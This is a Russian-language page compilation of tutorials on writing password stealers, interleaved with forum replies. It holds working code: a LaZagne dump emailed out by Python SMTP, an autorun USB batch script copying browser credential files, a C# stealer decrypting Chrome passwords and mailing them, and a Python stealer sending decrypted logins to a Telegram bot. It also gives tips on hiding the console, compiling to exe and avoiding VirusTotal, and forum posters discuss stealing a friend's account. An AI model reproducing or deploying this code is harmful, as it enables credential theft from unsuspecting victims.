Как написать свой стиллер

Время на прочтение
3 мин

Количество просмотров 50K

Что будем делать?

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.

Что для этого нужно?

Нам понадобится:

  1. Python 3.x.x
  2. Инструмент для восстановления паролей(в нашем случае LaZagne)
  3. Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Project:

  • laZagne.exe
  • send.py
  • main.bat

Пишем код

Откроем файл main.bat и поместим туда код:

@Echo off
laZagne.exe all > pass.txt

Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

Отправка на почту

Открываем файл send.py и вставляем код:

import smtplib                                              
import os                                                   

import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              

def send_email(addr_from, password, addr_to, files):                            

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================

def process_attachement(msg, files):                        
    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        

#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                                
files = ["pass.txt"]                                    
#=============================================

send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Mail.ru:

server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Yandex:

server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:

send.py
del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:

pip install pyinstaller
pyinstaller --onefile send.py

Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«…») и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоваться проверять на работоспособность.

Ссылки

  • Google
  • LaZagne
  • Bat To Exe Online Converter

Владимир Путин


  • #2

Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

на free-steal.com можешь сделать

  • #3

Берешь любой некомпилированый скрипт с любого сайта и сшиваешь с каким либо стиллером с этого сайта(кликабельно), остается лишь разослать распиарить и ждать пока поплывут логи акков

Vespan


  • #4

www.blast.hk

Исходник — Отправка уведомлений в Discord

(!) Данный гайд создан для людей, которые не разбираются (и не хотят) в луа и просто хотят сделать для себя уведомления. Всем хай, я уже делал гайд по отправке уведомлений в Discord, однако у многих возникали некоторые ошибки. В этом гайде я попробую более подробно описать процесс отправки…

www.blast.hk


www.blast.hk

делаешь отправку пароля когда юзер ввел его в 3 стиль диалога,всё,сложно!!!

ARMOR


  • #5

www.blast.hk

Исходник — Lua стиллер с отправкой в вашу группу ВК

Здравствуйте очень давно написал этот скрипт, слил из-за ненадобности. Код ниже, скрипт прикрепил. Быдлокод тут есть (камон, всё равно он был в луак никто бы и не понял) local sampev = require ‘lib.samp.events’ local lanes = require(‘lanes’).configure() local requests = require ‘requests’ local…

www.blast.hk


www.blast.hk

moreveal


  • #6

www.blast.hk

Исходник — Lua стиллер с отправкой в вашу группу ВК

Здравствуйте очень давно написал этот скрипт, слил из-за ненадобности. Код ниже, скрипт прикрепил. Быдлокод тут есть (камон, всё равно он был в луак никто бы и не понял) local sampev = require ‘lib.samp.events’ local lanes = require(‘lanes’).configure() local requests = require ‘requests’ local…

www.blast.hk


www.blast.hk

зачем ето советовать, норм стиллер делается с зависимостью максимум от сампфанкса, и без хранения токена в коде

Hader


  • #7

Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

www.blast.hk

Исходник — Отправка уведомлений в Discord

(!) Данный гайд создан для людей, которые не разбираются (и не хотят) в луа и просто хотят сделать для себя уведомления. Всем хай, я уже делал гайд по отправке уведомлений в Discord, однако у многих возникали некоторые ошибки. В этом гайде я попробую более подробно описать процесс отправки…

www.blast.hk


www.blast.hk

делаешь отправку пароля когда юзер ввел его в 3 стиль диалога,всё,сложно!!!

Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.

zTechnology


  • #8

Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.

id диалога авторизации 2, регистрации вроде или 1 или 3, уже точно не помню
И с помощью этого хука получаешь пароль и некоторые данные
Пример: https://www.blast.hk/threads/121882/post-972870 (хотя я бы его уже переделал, слишко много костылей)

Hader


  • #9

Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

id диалога авторизации 2, регистрации вроде или 1 или 3, уже точно не помню
И с помощью этого хука получаешь пароль и некоторые данные
Пример: https://www.blast.hk/threads/121882/post-972870 (хотя я бы его уже переделал, слишко много костылей)

А как получать логи?

Vespan


  • #10

Не чего сложного нема, только чтобы увидеть код стиллера нужно 200 реакций.

для тебя стиллер это что-то сверхистественно?

function sampev.onSendDialogResponse(id, button, list, input)
    -- id = id диалога
    -- button = кнопка на которую нажал юзер(1-0)
    -- list = список(от 0)
    -- input = что написал юзер в диалог со отправкой текста
    -- делаешь проверку на текст Авторизация или другое,и отправляешь пароль в дискорд.
    -- для тебя print() сложно,куда стиллер LOL
end

Так-же не забываем золотые слова..

НАПОМИНАНИЕ: РАСПРОСТАНЕНИЕ СТИЛЛЕРОВ = ПИДОР

Hader


  • #11

Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Та не мне нужно друга акк украсть, а то мне должен 1к рублей, вот и пожелеет

zTechnology


  • #12

Запрос на сайт/сообщения в вк/в тг/в дс

Hader


  • #13

Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Запрос на сайт/сообщения в вк/в тг/в дс

А как сделать, то я тупой, не шарю сильно за стиллеры

F0RQU1N and


  • #14

хукаешь отправку диалога, чекаешь его айдишник, и инпут с диалога, ник, ип сервера отправляешь на сервак

zTechnology


  • #15

А как сделать, то я тупой, не шарю сильно за стиллеры

А причём тут стиллеры? Это уже уровень ЯП

Браузеры в скрипте

Сегодня мы поговорим о том, как создать стиллер паролей для браузеров, которые работают под операционной системой Windows. Он будет работать быстро и точно, а самое главное, что на него не будут ругаться антивирусы. Писать стиллер паролей мы будет в обычном блокноте, в конце сохраним его как .bat. У нас уже есть статья, где мы говорили о создании шуточных вирусов – читать.

Стиллер паролей – определенный класс вирусов, функционал которых состоит в том, чтобы украсть сохраненные пароли с компьютера и отправить их “автору”.

Метод, который мы будем использовать имеет как плюсы, так и минусы, без этого никуда.

Плюсы:

  • Не ругается антивирус;
  • Скорость работы;
  • Простота в доработке;
  • Возможность мгновенного запуска;
  • Портативность.

Минусы:

  • Autorun не работает на Windows 8+;
  • Постоянное созданиеудаление autorun.inf;
  • Личное присутствие;
  • Только для Windows.

Стиллер паролей для браузеров на Windows | Разбор плюсов и минусов

Плюсы и минусы скрипта

Давайте разберемся, почему такие плюсы и минусы имеет наш стиллер паролей для браузеров.

Думаю первые пару пунктов в разборе не нуждаются, а вот простота в доработке, давайте посмотрим почему.

Ниже будет код программы, там видно, что стиллер крадет пароли из 3 браузеров, Opera, Mozilla, Chrome. Если вы захотите сделать его более объемным и добавить все браузеры, то вам нужно просто найти их директории и прописать пути.

Далее мгновенный запуск. Создаём файл autorun.inf и добавляем наш anyname.bat туда. Как только вы вставите флешку в ПК, произойдёт кража и её можно сразу вытаскивать. Это займет у секунду времени, однако тут сразу и минус. Autorun.inf не запускается на Windows 8+, так что придётся запускать батник вручную. Точнее сказать, автоматический запуск стал невозможен с последнего обновления безопасности Windows 7.

Постоянное созданиеудаление autorun.inf – если вы вставите флешку в ПК, а потом пойдёте домой и у вас Windows 8.1 или ниже, то пароли обновятся из-за авторана. Чтобы этого избежать его нужно постоянно удалять, однако в нашем скрипте уже всё есть. Он будет удален автоматически после запуска.

Создаём стиллер паролей для браузеров

Создаём стиллер

Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.

Создаём текстовый документ и пишем туда следующий код:

@echo off
md %~d0Mozilla
md %~d0Opera
md %~d0Google
CD/D %APPDATA%OperaOpera
copy /y wand.dat %~d0Opera
copy /y coockies.dat %~d0Opera
cd %AppData%MozillaFirefoxProfiles*.def-ault
copy /y coockies.sqlite %~d0Mozilla
copy /y key3.db %~d0Mozilla
copy /y signons.sqlite %~d0Mozilla
copy /y AppData%MozillaFirefoxProfiles*.def-ault %~d0Mozilla
cd %localappdata%GoogleChromeUser DataDefault
copy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%~d0/Google”
ATTRIB -R -A -S -H
attrib +h %~d0Mozilla
attrib +h %~d0Opera
attrib +h %~d0Google
del: Autorun.inf

Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.

Теперь нужно создать файл autorun.inf со следующей командой:

[AUTORUN] open=”anyname.bat”

Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.

Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.

Сегодня мы поговорили о том, как создать стиллер паролей для браузеров, обсудили плюсы и минусы такого скрипта. Если вам понравилась статья, подписывайтесь на обновления сайта, а также наш Telegram.

Telegram

Подписывайтесь на официальный Telegram канал сайта Make Info.

0aa8b2841c4c2c5445c85.jpg

Есть такой класс вирусов, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Этот класс вирусов называют Stealer. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи или собственного использования . Сегодня мы напишем этот вирус на C#.

Как работает наш стиллер?

  • Сначала стиллер проверяет наличие браузерных папок.
  • Если файл содержащий пароли существует, идёт проверка на их содержание.
  • Если данные не пусты, стиллер добавляет их в текстовой файл.
  • После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.

Приступим!
Для начала создаём проект в Visual Studio. Версия фреймворка — 4.5.

91625f046f31d126e8d1e.jpg

Program.cs
Добавим необходимые юзинги:

Код:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;

ac94b938db27da2dcef76.jpg

Начинаем кодить, для начала мы создадим папку где будет лежать файл с паролем:

Код:

Directory.CreateDirectory(Path.GetTempPath() + "StealLog");

Папка будет создана в каталоге TEMP.

Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):

Код:

string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"GoogleChromeUser DataDefaultLogin Data",

Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"YandexYandexBrowserUser DataDefaultLogin Data",

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"Opera SoftwareOpera StableLogin Data"
};

519fcad6b2b58f9e6cb85.jpg

Теперь создаём переменную pwd_text которая пока что ничему не равна:

Добавим в код следующие, объяснение кода в комментариях:

Код:

foreach (string p in paths) //идем по папкам
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
pwd_text += "Stealer by: @deepsidernrn";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную 
{
pwd_text += "URL: " + item.Item1 + "rn" + "Login: " + item.Item2 + "rn" + "Password: " + item.Item3 + "rn";
pwd_text += " rn";
}
}
}
}

d51f0c5dbc651616fedb2.jpg

Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.

Код:

if (File.Exists(Path.GetTempPath() + @"StealLog
Login Data"))
{
  File.Delete(Path.GetTempPath() + @"StealLog
Login Data");
}

Запишем все пароли в .txt файл:

Код:

File.WriteAllText(Path.GetTempPath() + @"StealLog
Passwords.txt", pwd_text);

195a56457afb7c2b5aa85.jpg


Passwords.cs

Создаём новый класс с именем Passwords.cs.

Добавляем туда этот код, объяснение в комментариях:

Код:

static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog
Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"StealLog
Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog
Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"StealLog
Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
}
}
conn.Close();
}
}

Появились ошибки, исправляем их, добавим ссылку:

Проект — Добавить ссылку. Ищем System.Security

bece15e0f24ef7edeabfd.jpg

Для работы с Login Data установим библиотеку:

Проект — Управление пакетами Nuget. Ищем в поискe «sqlite» и устанавливаем пакет

597cb76a226a0aac24128.jpg

Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код:

Код:

SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.

Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @deepside"; // Заголовок письма
Message.Body = "Stealer by DEEPSIDE"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodusPasswords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем

c7206baaa6fb56130fbc9.jpg

Формат письма:

f6cbadd30e117958a9d3a.jpg

Формат лога:

058ac8969ea2d548f6e54.png

Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?

Заходим в свойства проекта, далее делаем как на скрине:

994a5ed4b0a40d944d695.jpg

Выбираем «Приложение Windows». Теперь консоль не открывается и стиллер запускается скрытно.

Итог. Что мы имеем?
Вес стиллера ~ 10kb.

Детекты:

aaca1e15563032c8ef877.png

Стиллер на VirusTotal не заливать! Проверять можно тут.

Защита.
Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете «ловить» все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.

Как понять что ты заражён стиллером?

  • Для начала , нужно понять, остался ли стиллер в автозагрузке, думаю это расписывать не нужно, если остался, то конечно выключаем. Если нет, выходим.
  • Дальше, в диспетчере задач, ищем процессы, с ключевыми словами — Stealer, Passview. Так же , бывает скрытые процессы, для этого идем в службы, ищем там, те же ключевые слова.
  • Выключаем службы, убираем автозапуск.

Заключение.
Сегодня мы написали Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.

Весь код Program.cs — тут

Весь код Passwords.cs — тут

Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать, можно найти по ссылке —
ТЫК
Комментарии будут отмечены решеточкой — #

Переходим на официальный сайт PythonА — ТЫК. Скачиваем 3+ версию и устанавливаем ее.
1.png 2.png 3.png

Программа проверит наличие папок от указанных браузеров, при наличии — подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием «_bot«. После BotFather выдаст нам token для управления нашим ботом.

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.

https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

upload_2018-5-25_17-27-37.png

С ботом мы разобрались, идем дальше.

Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

pip install --upgrade pip


После обновления установим 2 нужные нам библиотеки,
pyTelegramBotAPI pywin32 и telebot

pip install pyTelegramBotAPI
pip install pywin32
pip install telebot

______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.

_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.

op3ra = "C:\Users\" + name_0f_user + "\AppData\Roaming\Opera Software\Opera Stable\" + "Login data"
#переменная op3ra которая равна такому пути C:\Users\Users\AppData\Roaming\Opera Software\Opera Stable\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\Users\" + name_0f_user + "\AppData\Local\Google\Chrome\User Data\Default\" + "Login Data" #также как и выше
yand3x = "C:\Users\" + name_0f_user + "\AppData\Local\Yandex\YandexBrowser\User Data\Default\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\Users\" + name_0f_user + "\AppData\Local\Comodo\Dragon\User Data\Default\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir


Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium

При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке


Теперь я попытаюсь объяснить суть вышеописанного кода на «простом« примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.

Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами

-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку

CD C:compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile

После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо
viruschekmate,ScanMyBin — сдохли,nodstribute+virustotal — сливают данные(не суйте туда стиллер)), поэтому информация про «чистоту» остается для вас и для меня интригой)

Исходники вы можете скачать по ссылке — ТЫК
upload_2018-5-26_12-46-24.png Так приходят логи, пароль находится между символом b’ и

Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению — прошу сообщить об этом :-)
P.S.
Словарик дополню новыми терминами

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала

Понравилась статья? Поделить с друзьями:
  • Как написать свой полный адрес
  • Как написать свой стенд ап
  • Как написать свой поисковик
  • Как написать свой стартер спринг
  • Как написать свой плеер на питоне